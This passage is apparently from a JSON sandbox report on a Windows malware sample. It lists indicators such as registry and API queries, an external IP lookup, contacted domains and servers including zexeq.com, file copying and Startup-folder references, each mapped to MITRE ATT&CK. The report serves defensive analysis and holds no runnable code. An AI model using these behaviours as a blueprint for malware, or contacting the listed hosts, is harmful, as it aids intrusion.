4139-626-0040F533\n GetLocaleInfoW@KERNEL32.dll at 4139-628-0040F5DA\n GetLocaleInfoA@KERNEL32.dll at 4139-633-0040F806","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"tlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00000240.00000000.150804.02B60000.00000004.mdmp\")\n Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D03DB0C1-2729-4674-A875-8625DD784300}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\433E3A2B3CD8F3ECCD71B97DED3862EF10DD94D94CB59925B7AB6F88358CD614.EXE\")\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\BUILD3.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI)\" (SID: 2033214, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO External IP Address Lookup DNS Query (2ip .ua)\" (SID: 2027026, Rev: 3, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$37","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CopyFileW\" to copy C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe to new location %LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd6 (UID: 00000000-00000260)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979 (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\5f84ace5-27d6-428f-a563-af4a01c6689e (UID: 00000000-00005112)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"CreateDirectoryW\" with parameter C:\\SystemID (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.2ip.ua\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.21.32.1:443\"\n \"188.40.141.211:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 00000000-00005112-14449-2834-004C2700\n LoadLibraryA@KERNEL32.dll at 00000000-00005112-14449-2833-004C28F0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005112.00000002.155651.05810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00005112.00000001.153729.05960000.00000004.mdmp\n 00000000-00005112.00000001.153729.0C1A0000.00000002.mdmp\n 00000000-00005112.00000002.155651.05960000.00000004.mdmp\n \"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00005112.00000001.153729.0596A000.00000004.mdmp\n 00000000-00005112.00000001.153729.0C1A0000.00000002.mdmp\n 00000000-00005112.00000002.155651.059D2000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains reference to licensed c/c++ library","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-462","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:260:64:WilError_01\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:260:64:WilError_01\"\n \"Local\\SM0:260:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\SM0:5112:64:WilError_01\"\n \"Local\\SM0:5112:168:WilStaging_02\"\n \"SM0:5112:64:WilError_01\"\n \"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"\"??\\C:\\Users\\b1eTAWn\\Documents\\Outlook Files\\Outlook.pst\" (Indicator: \".pst\") in Source: 00000000-00005112.00000002.155651.059D2000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":1,"id":"string-179","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: Microsoft Internet Explorer\" (Indicator: \"user-agent: \"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$41","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 768F0000\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73010000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 768F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73D10000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" was detected as \"Microsoft Linker\" and name: 